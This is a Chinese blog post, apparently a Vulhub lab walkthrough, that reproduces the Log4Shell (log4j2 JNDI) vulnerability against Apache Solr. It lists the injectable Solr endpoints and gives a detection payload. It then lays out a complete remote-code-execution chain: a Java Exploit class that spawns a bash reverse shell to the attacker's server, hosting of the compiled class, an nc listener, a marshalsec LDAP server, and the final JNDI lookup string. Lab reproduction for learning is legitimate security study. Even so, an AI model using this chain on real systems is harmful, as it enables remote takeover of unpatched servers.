Vulhub log4j2漏洞复现

启动环境以后访问 http://localhost:8983/solr/#/

存在漏洞的地址:

1./solr/admin/info?d=payload
2./solr/admin/cores?action=payload
3."Core Admin" -> "Add Core" -> "name"处'

这里说一下测试是否存在该漏洞的方法:

首先利用我之前提到过的得到bp自带的DNS域名,然后在测试点处测试payload:
${jndi:ldap://ophfkodpaxmkp20hdnypdqgjjap0dp.oastify.com}

我这里测试了第三个存在漏洞的点,

 

将测试payload放在name处以后,点击Add Core。然后在bp中如下操作得到结果

说明存在漏洞。

对于漏洞的利用进行RCE: 

对于环境的说明:要有一台公网vps(java环境;web环境;marshalsec-0.0.3-SNAPSHOT-all.jar文件);

第一步:编写Exploit.java也就是我们的payload(这里的payload一眼就看到了反弹shell的代码吧,想要执行啥命令自己改。这里注意修改反弹shell的ip和port,也就是我们vps的ip和监听的port。)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.Runtime;
import java.lang.Process;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close(); 
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

第二步: 编译Exploit.java得到Exploit.class

javac Exploit.java

第三步:将Exploit.class放在我们vps的web服务器使外网可以访问(便于我们的靶机引用呗)

这里方法很多:

1.在vps上利用python -m http.server port 开启一个web服务。

2.我这里直接利用宝塔界面,将该文件放在了vps的web服务器的80端口。

第四步:开启反弹shell的本地监听端口(这里要和第一步编写的payload里面的反弹shell的端口一致)

nc -l 7777

第五步:开启ldap服务器(修改ip为自己vps的ip)

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:80/#Exploit"

可以看到ldap服务在我们vps的1389端口开启了。

第六步:前面所有的环境都已经准备好了,最后一步进行利用RCE即可。

在具有该漏洞的点输入:

${jndi:ldap://ip:1389/Exploit.class}

并提交。

即可看到我们在第四步监听的端口已经成功RCE。

 

 

 

 推荐另一个复现靶场:ctfshow.com 的web标签里面。

 

关于原理:等我之后有时间研究明白了再来写吧! 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2022-11-16 16:17  hithub  阅读(420)  评论(0编辑  收藏  举报